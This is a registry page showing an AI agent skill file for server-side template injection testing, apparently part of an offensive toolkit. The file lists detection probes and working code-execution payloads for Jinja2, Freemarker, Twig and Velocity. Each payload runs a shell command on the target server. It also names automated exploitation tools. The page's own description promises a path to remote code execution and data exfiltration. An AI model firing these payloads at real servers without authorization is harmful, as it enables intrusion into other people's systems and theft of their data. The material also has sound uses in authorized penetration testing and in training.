agentleFS
sunilgentyalasunilgentyala/OmniRed/skills/web/ssti/SKILL.md

ssti

Skill5 starsChanged 5 months agoApache-2.0View on GitHub

Server-Side Template Injection expert methodology. Detection across Jinja2, Twig, Freemarker, Velocity, Mako, Smarty. Exploitation path from SSTI to RCE and data exfiltration.

  • Reads credentials

8 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use deserialization, open-redirect and 4 more.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • langbyyiSkill

    deserialization

    Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.

    Also in 4 projects that use this

  • yaklangSkill

    open-redirect

    Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.

    Also in 5 projects that use this

  • langbyyiSkill

    path-traversal

    Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.

    Also in 3 projects that use this

  • blacklanternsecuritySkill

    csrf

    Exploit Cross-Site Request Forgery (CSRF) vulnerabilities during authorized penetration testing.

    Also in 3 projects that use this

  • blacklanternsecuritySkill

    nosql-injection

    Guide NoSQL injection exploitation during authorized penetration testing.

    Also in 3 projects that use this

  • yaklangSkill

    prototype-pollution

    Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.

    Also in 3 projects that use this

The file

Files
SKILL.md

Server-Side Template Injection (SSTI)

Detection

Inject math expressions to detect template evaluation:

{{7*7}}         → 49   (Jinja2/Twig)
${7*7}          → 49   (Freemarker/JSP EL)
<%= 7*7 %>      → 49   (ERB)
#{7*7}          → 49   (Ruby Slim)
*{7*7}          → 49   (Spring EL)
{7*7}           → test (Smarty)

Identification

{{7*'7'}}
→ 7777777  → Jinja2
→ 49       → Twig

Exploitation by Engine

Jinja2 (Python):

{{''.__class__.__mro__[1].__subclasses__()[401]('id',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Freemarker (Java):

<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}

Twig (PHP):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Velocity (Java):

#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))

Tools

  • tplmap — automated SSTI detection and exploitation
  • Burp Suite Intruder — payload fuzzing

OWASP Mapping

  • A03:2021 — Injection

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.